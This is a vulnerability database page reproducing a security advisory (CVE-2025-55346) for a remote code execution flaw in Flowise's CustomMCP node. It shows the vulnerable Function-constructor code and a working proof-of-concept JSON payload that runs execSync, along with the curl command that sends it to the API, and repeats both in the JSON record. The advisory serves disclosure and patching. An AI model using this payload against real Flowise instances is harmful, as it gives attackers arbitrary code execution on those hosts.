GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-HMGH-466J-FX4C

Vulnerability from github – Published: 2025-10-06 14:08 – Updated: 2025-10-06 14:08
VLAI
Summary
Flowise vulnerable to RCE via Dynamic function constructor injection
Details

Summary

User-controlled input flows to an unsafe implementaion of a dynamic Function constructor , allowing a malicious actor to run JS code in the context of the host (not sandboxed) leading to RCE.

Details

When creating a new Custom MCP Chatflow in the platform, the MCP Server Config displays a placeholder hinting at an example of the expected input structure:

{
    "command": "npx",
    "args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/allowed/files"]
}

Behind the scene, a POST request to /api/v1/node-load-method/customMCP is sent with the provided MCP Server Config, with additional parameters (excluded for brevity):

{
...SNIP...

   "inputs":{
      "mcpServerConfig":{
         "command":"npx",
         "args":[
            "-y",
            "@modelcontextprotocol/server-filesystem",
            "/path/to/allowed/files"
         ]
      }
   },
   "loadMethod":"listActions"

...SNIP...
}

Sending the same request with the parameter mcpServerConfig equals to a plain value and not an object, for example:

{
   "inputs":{
      "mcpServerConfig":"test"
   },
   "loadMethod":"listActions"
}

We enter an interesting code flow that leads to a function named convertValidJSONString (Line 103): https://github.com/FlowiseAI/Flowise/blob/416e57380ea7ce2e66f89aded61b249ff3eef3b2/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L103

async getTools(nodeData: INodeData): Promise<Tool[]> {
        const mcpServerConfig = nodeData.inputs?.mcpServerConfig as string

        if (!mcpServerConfig) {
            throw new Error('MCP Server Config is required')
        }

        try {
            let serverParams
            if (typeof mcpServerConfig === 'object') {
                serverParams = mcpServerConfig
            } else if (typeof mcpServerConfig === 'string') {
                const serverParamsString = convertToValidJSONString(mcpServerConfig) <--
                serverParams = JSON.parse(serverParamsString)
            }

            const toolkit = new MCPToolkit(serverParams, 'stdio')
            await toolkit.initialize()

            const tools = toolkit.tools ?? []

            return tools as Tool[]
        } catch (error) {
            throw new Error(`Invalid MCP Server Config: ${error}`)
        }
    }
}

Here, the value of inputString originating from mcpServerConfig is being concatenated to a dynamic Function constructor that evaluates the provided value similar to using eval:

function convertToValidJSONString(inputString: string) {
    try {
        const jsObject = Function('return ' + inputString)()
        return JSON.stringify(jsObject, null, 2)
    } catch (error) {
        console.error('Error converting to JSON:', error)
        return ''
    }
}

This JS code runs in the context of the host, not sandboxed using @flowiseai/nodevm like other code execution functionalities within the platform.

This enables access to the global process object and as a result access to all the native NodeJS modules available such as child_process, leading to Remote Code Execution.

{
    "inputs":{
        "mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"
        },
    "loadMethod":"listActions"
}

PoC

  1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as npx, pnpm, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker

  2. Create a new file named payload.json somewhere in your machine, with the following data:

{"inputs":{"mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"},
"loadMethod":"listActions"}
  1. Send the following curl request using the payload.json file created above with the following command:
curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"
  1. Observe that a new file named yofitofi is created under /tmp folder.

Impact

Remote code execution

Credit

The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.2.7-patch.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-55346"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-627",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-06T14:08:45Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nUser-controlled input flows to an unsafe implementaion of a dynamic Function constructor , allowing a malicious actor to run JS code in the context of the host (not sandboxed) leading to RCE. \n\n### Details\nWhen creating a new `Custom MCP` Chatflow in the platform, the MCP Server Config displays a placeholder hinting at an example of the expected input structure:\n```json\n{\n\t\"command\": \"npx\",\n\t\"args\": [\"-y\", \"@modelcontextprotocol/server-filesystem\", \"/path/to/allowed/files\"]\n}\n```\n\nBehind the scene, a `POST` request to `/api/v1/node-load-method/customMCP` is sent with the provided MCP Server Config, with additional parameters (excluded for brevity):\n```json\n{\n...SNIP...\n\n   \"inputs\":{\n      \"mcpServerConfig\":{\n         \"command\":\"npx\",\n         \"args\":[\n            \"-y\",\n            \"@modelcontextprotocol/server-filesystem\",\n            \"/path/to/allowed/files\"\n         ]\n      }\n   },\n   \"loadMethod\":\"listActions\"\n   \n...SNIP...\n}\n```\n\nSending the same request with the parameter `mcpServerConfig` equals to a plain value and not an object, for example:\n```json\n{\n   \"inputs\":{\n      \"mcpServerConfig\":\"test\"\n   },\n   \"loadMethod\":\"listActions\"\n}\n```\n\nWe enter an interesting code flow that leads to a function named `convertValidJSONString` (Line 103):\nhttps://github.com/FlowiseAI/Flowise/blob/416e57380ea7ce2e66f89aded61b249ff3eef3b2/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L103\n\n```typescript\nasync getTools(nodeData: INodeData): Promise\u003cTool[]\u003e {\n        const mcpServerConfig = nodeData.inputs?.mcpServerConfig as string\n\n        if (!mcpServerConfig) {\n            throw new Error(\u0027MCP Server Config is required\u0027)\n        }\n\n        try {\n            let serverParams\n            if (typeof mcpServerConfig === \u0027object\u0027) {\n                serverParams = mcpServerConfig\n            } else if (typeof mcpServerConfig === \u0027string\u0027) {\n                const serverParamsString = convertToValidJSONString(mcpServerConfig) \u003c--\n                serverParams = JSON.parse(serverParamsString)\n            }\n\n            const toolkit = new MCPToolkit(serverParams, \u0027stdio\u0027)\n            await toolkit.initialize()\n\n            const tools = toolkit.tools ?? []\n\n            return tools as Tool[]\n        } catch (error) {\n            throw new Error(`Invalid MCP Server Config: ${error}`)\n        }\n    }\n}\n```\n\nHere, the value of `inputString` originating from `mcpServerConfig` is being concatenated to a dynamic Function constructor that evaluates the provided value similar to using `eval`:\n\n```typescript\nfunction convertToValidJSONString(inputString: string) {\n    try {\n        const jsObject = Function(\u0027return \u0027 + inputString)()\n        return JSON.stringify(jsObject, null, 2)\n    } catch (error) {\n        console.error(\u0027Error converting to JSON:\u0027, error)\n        return \u0027\u0027\n    }\n}\n```\n\nThis JS code runs in the context of the host, not sandboxed using `@flowiseai/nodevm` like other code execution functionalities within the platform.\n\nThis enables access to the global `process` object and as a result access to all the native NodeJS modules available such as `child_process`, leading to Remote Code Execution.\n```json\n{\n    \"inputs\":{\n        \"mcpServerConfig\":\"(global.process.mainModule.require(\u0027child_process\u0027).execSync(\u0027touch /tmp/yofitofi\u0027))\"\n        },\n    \"loadMethod\":\"listActions\"\n}\n```\n### PoC\n1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as `npx`, `pnpm`, etc):\n   https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker\n\n2. Create a new file named `payload.json` somewhere in your machine, with the following data:\n```\n{\"inputs\":{\"mcpServerConfig\":\"(global.process.mainModule.require(\u0027child_process\u0027).execSync(\u0027touch /tmp/yofitofi\u0027))\"},\n\"loadMethod\":\"listActions\"}\n```\n\n3. Send the following `curl` request using the `payload.json` file created above with the following command:\n```\ncurl -XPOST -H \"x-request-from: internal\" -H \"Content-Type: application/json\" --data @payload.json \"http://localhost:3000/api/v1/node-load-method/customMCP\"\n```\n\n4. Observe that a new file named `yofitofi` is created under `/tmp` folder.\n### Impact\nRemote code execution\n\n## Credit\nThe vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.",
  "id": "GHSA-hmgh-466j-fx4c",
  "modified": "2025-10-06T14:08:45Z",
  "published": "2025-10-06T14:08:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-hmgh-466j-fx4c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55346"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://research.jfrog.com/vulnerabilities/flowise-js-injection-remote-code-exection-jfsa-2025-001379925"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flowise vulnerable to RCE via Dynamic function constructor injection"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.


Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.